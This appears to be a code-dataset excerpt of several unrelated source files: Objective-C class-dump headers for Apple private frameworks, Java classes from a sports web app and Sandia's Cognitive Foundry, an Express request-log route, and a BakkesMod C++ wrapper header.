@interface GEOSupportedTileSets : PBCodable <NSCopying> {
NSMutableArray * _tileSets;
PBUnknownFields * _unknownFields;
}
@property (nonatomic, retain) NSMutableArray *tileSets;
@property (nonatomic, readonly) PBUnknownFields *unknownFields;
+ (Class)tileSetType;
- (void).cxx_destruct;
- (void)addTileSet:(id)arg1;
- (void)clearTileSets;
- (void)copyTo:(id)arg1;
- (id)copyWithZone:(struct _NSZone { }*)arg1;
- (id)description;
- (id)dictionaryRepresentation;
- (unsigned long long)hash;
- (bool)isEqual:(id)arg1;
- (void)mergeFrom:(id)arg1;
- (bool)readFrom:(id)arg1;
- (void)setTileSets:(id)arg1;
- (id)tileSetAtIndex:(unsigned long long)arg1;
- (id)tileSets;
- (unsigned long long)tileSetsCount;
- (id)unknownFields;
- (void)writeTo:(id)arg1;
@end
|
keegsands/sportball-webapp | src/main/java/org/keegsands/sportball/service/TeamService.java | package org.keegsands.sportball.service;
import org.keegsands.sportball.model.Team;
public interface TeamService extends SimpleService<Team> {
}
|
Markoy8/Foundry | Components/LearningCore/Source/gov/sandia/cognition/learning/data/DefaultWeightedValueDiscriminant.java | <filename>Components/LearningCore/Source/gov/sandia/cognition/learning/data/DefaultWeightedValueDiscriminant.java
/*
* File: DefaultWeightedValueDiscriminant.java
* Authors: <NAME>
* Company: Sandia National Laboratories
* Project: Cognitive Foundry Learning Core
*
* Copyright February 03, 2011, Sandia Corporation.
* Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive
* license for use of this work by or on behalf of the U.S. Government. Export
* of this program may require a license from the United States Government.
*/
package gov.sandia.cognition.learning.data;
import gov.sandia.cognition.util.DefaultWeightedValue;
import gov.sandia.cognition.util.WeightedValue;
/**
* An implementation of {@code ValueDiscriminantPair} that stores a double
* as the discriminant. It extends {@code DefaultWeightedValue} and thus also
* is a {@code WeightedValue}. This may be the most generally used
* implementation of the {@code ValueDiscriminantPair} since it covers the
* common case where the discriminant is a real value.
*
* @param <ValueType>
* The type of value to discriminate between.
* @author <NAME>
* @since 3.1
*/
public class DefaultWeightedValueDiscriminant<ValueType>
extends DefaultWeightedValue<ValueType>
implements ValueDiscriminantPair<ValueType, Double>
{
/** The default weight is {@value}. */
public static final double DEFAULT_WEIGHT = 0.0;
/**
* Creates a {@code DefaultWeightedValueDiscriminant} with a null value
* and a weight of 0.0.
*/
public DefaultWeightedValueDiscriminant()
{
this(null, DEFAULT_WEIGHT);
}
/**
* Creates a {@code DefaultWeightedValueDiscriminant} with the given
* value and weight.
*
* @param value
* The value for the pair.
* @param weight
* The weight that is to be used as the discriminant.
*/
public DefaultWeightedValueDiscriminant(
final ValueType value,
final double weight)
{
super(value, weight);
}
/**
* Creates a new {@code DefaultWeightedValueDiscriminant} whose weight
* and value are taken from the given weighted value.
*
* @param other
* The other weighted value to make a shallow copy of.
*/
public DefaultWeightedValueDiscriminant(
final WeightedValue<? extends ValueType> other)
{
this(other.getValue(), other.getWeight());
}
@Override
public Double getDiscriminant()
{
return this.getWeight();
}
@Override
public ValueType getFirst()
{
return this.getValue();
}
@Override
public Double getSecond()
{
return this.getWeight();
}
/**
* Convenience method for creating a new
* {@code DefaultWeightedValueDiscriminant} with the given value and weight.
*
* @param <ValueType>
* The type of value to discriminate between.
* @param value
* The value for the pair.
* @param weight
* The weight that is to be used as the discriminant.
* @return
* A new discriminant object.
*/
public static <ValueType> DefaultWeightedValueDiscriminant<ValueType> create(
final ValueType value,
final double weight)
{
return new DefaultWeightedValueDiscriminant<ValueType>(value, weight);
}
/**
* Convenience method for creating a new
* {@code DefaultWeightedValueDiscriminant} with a shallow copy of the given
* the given value and weight.
*
* @param <ValueType>
* The type of value to discriminate between.
* @param other
* The other value to make a shallow copy of.
* @return
* A new discriminant object.
*/
public static <ValueType> DefaultWeightedValueDiscriminant<ValueType> create(
final WeightedValue<? extends ValueType> other)
{
return new DefaultWeightedValueDiscriminant<ValueType>(
other.getValue(), other.getWeight());
}
}
|
antirek/sonata | api/manage/api-routes/log/request/{token}.js | <gh_stars>10-100
module.exports = (RequestLog) => {
/**
*
* @param {Object} req
* @param {Object} res
*/
const get = (req, res) => {
console.log('request params', req.params);
console.log('request body:', JSON.stringify(req.body));
console.log('request query', req.query);
const limit = req.query.limit || 10;
const offset = req.query.offset || 0;
RequestLog.find({token: req.params.token})
.skip(parseInt(offset))
.limit(parseInt(limit))
.sort({created_at: -1})
.exec()
.then((list) => {
console.log('vendors list:', list);
res.status(200).json(list);
})
.catch((err) => {
console.log('error', err);
res.status(404).send();
});
};
get.apiDoc = {
description: 'get provision requests log',
tags: ['log'],
produces: [
'application/json',
],
responses: {
200: {
description: 'list requests',
},
default: {
description: 'Unexpected error',
schema: {
$ref: '#/definitions/Error',
},
},
},
};
return {
parameters: [
{
name: 'token',
in: 'path',
type: 'string',
required: true,
description: 'token',
},
{
name: 'limit',
in: 'query',
type: 'integer',
description: 'limit',
},
{
name: 'offset',
in: 'query',
type: 'integer',
description: 'offset',
},
],
get,
};
};
|
thoo0224/rl_dumper | src/rl_dumper/libs/include/bakkesmod/wrappers/GameObject/PerformanceStats/InputBufferGraphWrapper.h | #pragma once
template<class T> class ArrayWrapper;
template<typename T> class StructArrayWrapper;
#include "../../WrapperStructs.h"
#include "../.././GameObject/PerformanceStats/StatGraphWrapper.h"
class SampleHistoryWrapper;
class BAKKESMOD_PLUGIN_IMPORT InputBufferGraphWrapper : public StatGraphWrapper {
public:
CONSTRUCTORS(InputBufferGraphWrapper)
//AUTO-GENERATED FROM FIELDS
SampleHistoryWrapper GetBuffer();
void SetBuffer(SampleHistoryWrapper newBuffer);
SampleHistoryWrapper GetBufferTarget();
void SetBufferTarget(SampleHistoryWrapper newBufferTarget);
SampleHistoryWrapper GetOverUnderFrames();
void SetOverUnderFrames(SampleHistoryWrapper newOverUnderFrames);
SampleHistoryWrapper GetPhysicsRate();
void SetPhysicsRate(SampleHistoryWrapper newPhysicsRate);
float GetMaxPhysicsRate();
void SetMaxPhysicsRate(float newMaxPhysicsRate);
float GetMinPhysicsRate();
void SetMinPhysicsRate(float newMinPhysicsRate);
//AUTO-GENERATED FUNCTION PROXIES
SampleHistoryWrapper CreateBufferHistory(std::string Title);
void eventConstruct();
private:
PIMPL
}; |
bzxy/cydia | iOSOpenDev/frameworks/MobileBackup.framework/Headers/MBFileInfo.h | <filename>iOSOpenDev/frameworks/MobileBackup.framework/Headers/MBFileInfo.h
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/MobileBackup.framework/MobileBackup
*/
#import <MobileBackup/NSCopying.h>
#import <MobileBackup/NSCoding.h>
#import <MobileBackup/MobileBackup-Structs.h>
#import <MobileBackup/XXUnknownSuperclass.h>
@class NSDictionary, NSString;
@interface MBFileInfo : XXUnknownSuperclass <NSCopying, NSCoding> {
NSString *_path; // 4 = 0x4
NSDictionary *_extendedAttributes; // 8 = 0x8
}
@property(readonly, assign, nonatomic) NSString *path; // G=0x122ed; @synthesize=_path
@property(readonly, assign, nonatomic) NSDictionary *extendedAttributes; // G=0x122dd; @synthesize=_extendedAttributes
+ (id)fileInfoWithPath:(id)path extendedAttributes:(id)attributes; // 0x1237d
- (id)initWithPath:(id)path extendedAttributes:(id)attributes; // 0x122fd
- (id)initWithCoder:(id)coder; // 0x124d9
- (void)encodeWithCoder:(id)coder; // 0x12481
- (void)dealloc; // 0x12421
- (id)copyWithZone:(NSZone *)zone; // 0x123c9
// declared property getter: - (id)extendedAttributes; // 0x122dd
// declared property getter: - (id)path; // 0x122ed
@end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.